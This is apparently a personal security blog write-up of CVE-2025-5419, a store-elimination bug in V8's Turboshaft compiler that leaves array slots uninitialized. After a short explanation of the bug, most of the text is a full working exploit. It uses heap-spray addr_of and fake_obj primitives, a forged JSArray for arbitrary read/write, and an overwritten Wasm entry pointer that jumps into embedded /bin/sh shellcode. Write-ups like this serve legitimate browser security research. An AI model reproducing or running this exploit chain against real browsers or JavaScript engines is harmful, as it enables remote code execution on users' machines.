Serotav Writeups

CTF/pwn writeups and V8 exploitation notes.

View on GitHub

A Ghost in Turboshaft’s Store Elimination👻

This is my personal take at the cve CVE-2025-5419, a bug in the store-store elimination phase of the turboshaft compiler that leads to rce.

Reproduced on v8 commit 5c198837c21 with the following build args:

is_component_build = false
is_debug = false
symbol_level = 2
dcheck_always_on = false
v8_enable_backtrace = true
v8_enable_disassembler = true
v8_enable_object_print = true
v8_enable_verify_heap = true
v8_enable_sandbox = false
target_cpu = "x64"
use_siso = false

The vulnerable logic lives in turboshaft/store-store-elimination-reducer-inl.h. This file implements the StoreStoreElimination reducer, which does two optimizations: it removes redundant stores, and it merges two consecutive 32-bit field-initialization stores into one 64-bit store. The bug is in the redundant-store elimination logic.

A minimal example of redundant-store elimination looks like this:

let o = {};
o.x = 2;
o.x = 4;
use(o.x);

The first write to o.x is never observed: before any load can read it, the same location is overwritten by o.x = 4. Therefore the reducer can safely remove the o.x = 2 store.

How is location observability state tracked?

The reducer does not track JS variables directly. It tracks memory locations in the lowered Turboshaft graph.

For this, it uses MaybeRedundantStoresTable, which maps (base, offset, size) to a StoreObservability state. base is the Turboshaft OpIndex that produces the heap object or backing-store pointer, offset is the static byte offset from that base, and size is the number of bytes written by the store.

For example, an access like array[2] = 5.5 may be lowered to a store into the array’s elements backing store:

StoreObservability describes whether a tracked memory location can still be observed. New entries default to kObservable.

enum class StoreObservability {
  kUnobservable = 0,
  kGCObservable = 1,
  kObservable = 2,
};

The analysis runs backwards over the graph processessing basic blocks in reverse order, and inside each block it walks from the last operation to the first.

When it encounters a tagged-base store to a fixed offset, it checks the current StoreObservability state for (base, offset, size):

  1. kObservable: keep the store; mark earlier stores to the same location as unobservable.
  2. kUnobservable: delete the store; it is overwritten before being observed.
  3. kGCObservable: keep it only if it initializes/transitions the field; otherwise delete it. If kept, mark earlier stores to the same location as unobservable.

Let’s run through the previous example:

let o = {};
o.x = 2;
o.x = 4;
use(o.x);

The analysis walks it backwards:

  1. use(o.x) loads from o.x, so stores at that offset become observable.
  2. o.x = 4 is therefore kept. Since it overwrites o.x, earlier stores to the same location become unobservable.
  3. o.x = 2 is now unobservable, so the reducer marks it for deletion.

Now on to the buggy part:

case Opcode::kLoad: {
    const LoadOp& load = op.Cast<LoadOp>();

    const bool is_on_heap_load = load.kind.tagged_base;
    const bool is_field_load = !load.index().valid();

    if (is_on_heap_load && is_field_load) {
    table_.MarkPotentiallyAliasingStoresAsObservable(load.base(),
                                                        load.offset);
    }
    break;
}

This section handles the Load opcode, can you spot the problem?

If a load op has as target a heap object is_on_heap_load and a fixed offset is_field_load it marks every active store at that same offset observable, regardless of base. In JS terms this handles reads like o.x, and array[1].

But what if the access is done using a variable instead of a fixed offset like array[i]? Well there is no code that handles this!

Let’s look at an example and see what the reduce would do.

function boo(i){
    let array = [1.11,2.22] 
    let x = array[i]
    array[0] = x
    return x
}

That function is not enough to trigger the bug as-is. Since i is an external parameter, the first indexed access needs type/bounds checks, so Turboshaft emits a DeoptimizeIf before the array[i] load. A deopt can leave optimized code, so SSE treats memory as observable and calls MarkAllStoresAsObservable(). That protects the earlier initialization stores from being deleted. Using i = "0" has the same effect for our purposes: even though the value is known, the string-to-index conversion keeps the access in the indexed load shape long enough to hit this path, including the first deopt barrier.

default: {
    OpEffects effects = op.Effects();
    if (effects.can_read_mutable_memory()) {
        table_.MarkAllStoresAsObservable();
    } else if (effects.requires_consistent_heap()) {
        table_.MarkAllStoresAsGCObservable();
    }
} break;

However since the first indexed access emits the bounds/type checks, other equivalent access can reuse those facts, without the need for further deoptimize checks.

function bug(i){
  let a = [1.1, 1.1, 1.1, 1.1];
  // Deoptimizeif would be placed here
  a[0] = a[i];
  let x = a[0];

  // the compiler now trusts i -> no Deoptimizeif
  a = [1.1, 1.1, 1.1, 1.1];
  a[0] = a[i];
  x = a[0];
  return x;
}

Looking at this in turbolizer this is what we get for the first array

v10 = <Map(FIXED_DOUBLE_ARRAY_TYPE)>
v14 Allocate(40 )
15: [v14 ]_tp = v10
v16 Constant
17: [v14 + 4]ts = v16
19: [v14 + 8]f64 = 1.1
20: [v14 + 16]f64 = 1.1
22: [v14 + 24]f64 = 1.1
23: [v14 + 32]f64 = 1.1

< deoptimizeIf > While this is what we get for the second array

v74 Allocate(40 )
75: [v74 ]tp = v10
76: [v74 + 4]ts = v16
78: [v74 + 16]f64 = 1.1_f64
79: [v74 + 24]f64 = 1.1_f64
81: [v74 + 32]f64 = 1.1_f64

The store to [v74 + 8] is gone, that slot now contains stale heap memory.

Exploitation

Now we want to turn this stale heap read into the usual V8 exploitation primitives, the general idea is to shape the heap so that the uninitialized slot contains stale data that we control.

For the addr_of primitive, we spray the heap with many references to the object we want to leak. If the buggy array allocation later reuses memory from that spray, the uninitialized double slot will contain stale compressed pointers to our target object.

In this build, the young generation uses two 1 MiB semi-spaces managed by the scavenger. Allocation inside the active semi-space is mostly linear: new objects are placed after the previous allocation. When the active semi-space fills up, a minor GC copies live objects into the other semi-space and swaps them.

Because of that, spraying only one semi-space is not enough: once it fills, it becomes the inactive/from-space after the scavenge. The trick is to spray enough to fill one semi-space, let the scavenger swap, then spray again to fill the other one. After the second swap, fresh allocations are likely to land in memory that previously contained our sprayed object references.

const OBJ_COUNT = ((MIB + 135) / 136) | 0;
function spray_obj(target) {
  let spray = [];
  for (let i = 0; i < OBJ_COUNT; i++) {
    spray[i] = [
      target, target, target, target, target, target, target, target,
      target, target, target, target, target, target, target, target,
      target, target, target, target, target, target, target, target,
      target, target, target, target, target, target, target, target
    ];
  }
  return spray;
}
function _addr_of() {
  i = "1"; // will emit a DeoptimizeIf 
  let a = [1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1];
  a[1] = a[i];

  a = [1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1];
  a[1] = a[i];
  return a[1];
}

function addr_of(target, reject0, reject1) {
  for (let n = 0; n < 2000; n++) {
    spray_obj(target);
    spray_obj(target);

    let leak = _addr_of();
    let raw = f2i(leak);
    let lo = raw & 0xffffffffn;
    let hi = raw >> 32n;
    if (!Object.is(leak, 1.1) && lo == hi && (lo & 1n) == 1n && lo !== reject0 && lo !== reject1) return lo;
  }
  throw "addr_of failed";
}

The fake_obj primitive is the inverse of addr_of.

With addr_of, we arrange for stale object pointers to be interpreted as doubles, giving us a leaked compressed pointer. With fake_obj, we do the opposite: we spray double arrays with a crafted 64-bit value that contains the compressed address we want V8 to treat as an object pointer.

When the buggy object-array allocation reuses that stale memory, one of its uninitialized element slots contains our sprayed address. Returning that element makes V8 interpret the stale value as a tagged object pointer, giving us a JavaScript reference to memory we control.

In practice, the sprayed double value duplicates the compressed pointer in both halves: [ addr | addr ]

function spray_dbl(addr) {
  let spray = [];
  let v = i2f((addr << 32n) | addr);
  for (let i = 0; i < DBL_COUNT; i++) spray[i] = [v, v, v, v];
  return spray;
}

function _fake() {
  i = "2";
  let a = [dummy, dummy, dummy, dummy, dummy, dummy, dummy, dummy];
  a[2] = a[i];
  let x = a[2];

  a = [dummy, dummy, dummy, dummy, dummy, dummy, dummy, dummy];
  a[2] = a[i];
  x = a[2];

  return x;
}

function fake_obj(addr) {
  spray_dbl(addr);
  return _fake();
}

Since this build has the V8 sandbox disabled, the rest is standard V8 exploitation, what i did was to forge fake JSArray header stored inside the large container array. Since container is large enough to place its elements backing store in large-object space, its address is stable and predictable enough for the exploit. fake_obj gives us a JS reference to that forged array.

That fake array is then used as a control object: by writing to its elements pointer, we redirect a separate victim double array to any heap address we want. Reads and writes are then performed through victim[0].

This arbitrary read/write is enough to locate the trusted data of two Wasm instances. One instance contains the sprayed shellcode, and the other is the victim we will call. The exploit overwrites the victim Wasm entry/code pointer so that calling its exported function jumps into the sprayed shellcode.

var f64 = new Float64Array(1);
var bigUint64 = new BigUint64Array(f64.buffer);
var u32 = new Uint32Array(f64.buffer);
function hex(i) { return i.toString(16).padStart(8, "0"); }
function i2f(i) { bigUint64[0] = i; return f64[0]; }
function f2i(i) { f64[0] = i; return bigUint64[0]; }
function u2f(low, high) { u32[0] = high; u32[1] = low; return f64[0]; }
//scavenge
function gc_minor() { let arr = new Array(0x10000); for(let i = 0; i < arr.length; i++) {arr[i] = new String("");}}
//mark-sweep
function gc_major() { new ArrayBuffer(0x7fe00000);}

const MIB = 1024 * 1024;
const OBJ_COUNT = (MIB  / 136); // 136 = FixedArray[32] backing store: 8 byte header + 32 compressed pointers
const DBL_COUNT = (MIB  / 40); // 40 = FixedDoubleArray[4] backing store: 8 byte header + 4 doubles

const PACKED_DOUBLE_ELEMENTS_MAP = 0x0004d045;
const FIXED_ARRAY_PROPERTIES = 0x000007bd;
const LEN = 0x200;

const LO_ELEMENTS_LOW = 0x00280011;
const LO_FAKE_ADDR = 0x00280019n;
const LO_LEN = 0x20000;
const SHELL_OFFSET = 0x91bn;

let dummy = { dummy: 1 };
// /bin/sh
var wasm_spray_code = new Uint8Array([0x00,0x61,0x73,0x6d,0x01,0x00,0x00,0x00,0x01,0x05,0x01,0x60,0x00,0x01,0x7c,0x03,0x02,0x01,0x00,0x07,0x08,0x01,0x04,0x6d,0x61,0x69,0x6e,0x00,0x00,0x0a,0x53,0x01,0x51,0x00,0x44,0xbb,0x2f,0x73,0x68,0x00,0x90,0xeb,0x07,0x44,0x48,0xc1,0xe3,0x20,0x90,0x90,0xeb,0x07,0x44,0xba,0x2f,0x62,0x69,0x6e,0x90,0xeb,0x07,0x44,0x48,0x01,0xd3,0x53,0x31,0xc0,0xeb,0x07,0x44,0xb0,0x3b,0x48,0x89,0xe7,0x90,0xeb,0x07,0x44,0x31,0xd2,0x48,0x31,0xf6,0x90,0xeb,0x07,0x44,0x0f,0x05,0x90,0x90,0x90,0x90,0xeb,0x07,0x44,0x0f,0x05,0x90,0x90,0x90,0x90,0xeb,0x07,0x1a,0x1a,0x1a,0x1a,0x1a,0x1a,0x1a,0x0b]);
var wasm_spray_mod = new WebAssembly.Module(wasm_spray_code);
var wasm_spray_instance = new WebAssembly.Instance(wasm_spray_mod);
var spray = wasm_spray_instance.exports.main;
spray();
// victim to corrupt
var wasm_victim_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasm_victim_mod = new WebAssembly.Module(wasm_victim_code);
var wasm_victim_instance = new WebAssembly.Instance(wasm_victim_mod);
var win = wasm_victim_instance.exports.main;

function spray_obj(target) {
  let spray = [];
  for (let i = 0; i < OBJ_COUNT; i++) {
    spray[i] = [
      target, target, target, target, target, target, target, target,
      target, target, target, target, target, target, target, target,
      target, target, target, target, target, target, target, target,
      target, target, target, target, target, target, target, target
    ];
  }
  return spray;
}

function spray_dbl(addr) {
  let spray = [];
  let v = i2f((addr << 32n) | addr);
  for (let i = 0; i < DBL_COUNT; i++) spray[i] = [v, v, v, v];
  return spray;
}

function _addr_of() {
  i = "1"; // Emits deoptif
  let a = [1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1];
  a[1] = a[i];

  a = [1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1];
  a[1] = a[i];
  return a[1];
}

function addr_of(target, reject0, reject1) {
  // assume that we landed controlled memory 
  // when the leaked value is composed of 
  // 2, 4 byte identical part that are tagged
  // + we reject some value that might ended up in the heap

  for (let n = 0; n < 2000; n++) {
    spray_obj(target);

    let leak = _addr_of();
    let raw = f2i(leak);
    let lo = raw & 0xffffffffn;
    let hi = raw >> 32n;
    if (!Object.is(leak, 1.1) && lo == hi && (lo & 1n) == 1n && lo !== reject0 && lo !== reject1) return lo;
  }
  throw "addr_of failed";
}

function _fake() {
  i = "2";
  let a = [dummy, dummy, dummy, dummy, dummy, dummy, dummy, dummy];
  a[2] = a[i];

  a = [dummy, dummy, dummy, dummy, dummy, dummy, dummy, dummy];
  a[2] = a[i];

  return a[2];
}

function fake_obj(addr) {
  spray_dbl(addr);
  return _fake();
}

let rw_fake;

function make_rw(victim_addr_n, container0) {
  let fake;
  let tries = 0;

  for (; tries < 64; tries++) {
    // here we expect fake obj to be an array with our controlled len
    // sanity: fake.elements points to the container's LO elements backing store
    fake = fake_obj(LO_FAKE_ADDR);
    if (Array.isArray(fake) && fake.length === 0x100) {
      if (Object.is(fake[0], container0)) break;
    }
    fake = null;
  }

  if (tries === 64) throw "fake_obj failed";

  container[1] = u2f(LEN, victim_addr_n);
  rw_fake = fake;
  rw_fake[0] = u2f(0x8, LO_ELEMENTS_LOW);
  return tries;
}

function heap_read(addr) {
  rw_fake[0] = u2f(0x8, Number(addr));
  let value = f2i(victim[0]);
  rw_fake[0] = u2f(0x8, LO_ELEMENTS_LOW);
  return value;
}

function heap_write(addr, target) {
  rw_fake[0] = u2f(0x8, Number(addr));
  victim[0] = i2f(target);
  rw_fake[0] = u2f(0x8, LO_ELEMENTS_LOW);
}

let container = new Array(LO_LEN);
for (let i = 0; i < LO_LEN; i++) container[i] = 1.1;

for (let n = 0; n < 20000; n++) {
  _addr_of();
  _fake();
}

// container's LO elements backing store contains the fake JSArray object
container[0] = u2f(FIXED_ARRAY_PROPERTIES, PACKED_DOUBLE_ELEMENTS_MAP);
container[1] = u2f(LEN, LO_ELEMENTS_LOW);

// fake will point to victim header, changing victim elements pointer changes where victim read/writes to
let victim = [13.37, 13.37, 13.37, 13.37];
let victim_addr = addr_of(victim, 0n);

let wasm_spray_instance_addr = addr_of(wasm_spray_instance, victim_addr);
let wasm_victim_instance_addr = addr_of(wasm_victim_instance, victim_addr, wasm_spray_instance_addr);

addr_of(dummy, victim_addr);

let victim_addr_n = Number(victim_addr);
let tries = make_rw(victim_addr_n, container[0]);

// testing the primitives
let read0 = heap_read(LO_ELEMENTS_LOW);
let old = heap_read(LO_ELEMENTS_LOW + 16);
heap_write(LO_ELEMENTS_LOW + 16, 0x4142434445464748n);
let wrote = heap_read(LO_ELEMENTS_LOW + 16);
heap_write(LO_ELEMENTS_LOW + 16, old);

// point the victim wasm entry to shellcode in the spray instance RWX page
let wasm_spray_trusted = heap_read(wasm_spray_instance_addr + 11n - 0x7n) & 0xffffffffn;
let rwx_spray = heap_read(wasm_spray_trusted + 32n);
let wasm_victim_trusted = heap_read(wasm_victim_instance_addr + 11n - 0x7n) & 0xffffffffn;

heap_write(wasm_victim_trusted + 32n, rwx_spray + SHELL_OFFSET);

print(`victim_addr=0x${hex(victim_addr)}`);
print(`fake_addr=0x${hex(LO_FAKE_ADDR)}`);
print(`tries=${tries}`);
print(`heap_read=0x${hex(read0)}`);
print(`heap_write=0x${hex(wrote)}`);
print(`wasm_spray_instance_addr=0x${hex(wasm_spray_instance_addr)}`);
print(`wasm_spray_trusted=0x${hex(wasm_spray_trusted)}`);
print(`rwx_spray=0x${hex(rwx_spray)}`);
print(`target=0x${hex(rwx_spray + SHELL_OFFSET)}`);
print(`wasm_victim_instance_addr=0x${hex(wasm_victim_instance_addr)}`);
print(`wasm_victim_trusted=0x${hex(wasm_victim_trusted)}`);
if (victim.length !== 4) throw "victim length changed";
if (read0 !== f2i(container[0])) throw "heap_read failed";
if (wrote !== 0x4142434445464748n) throw "heap_write failed";

win();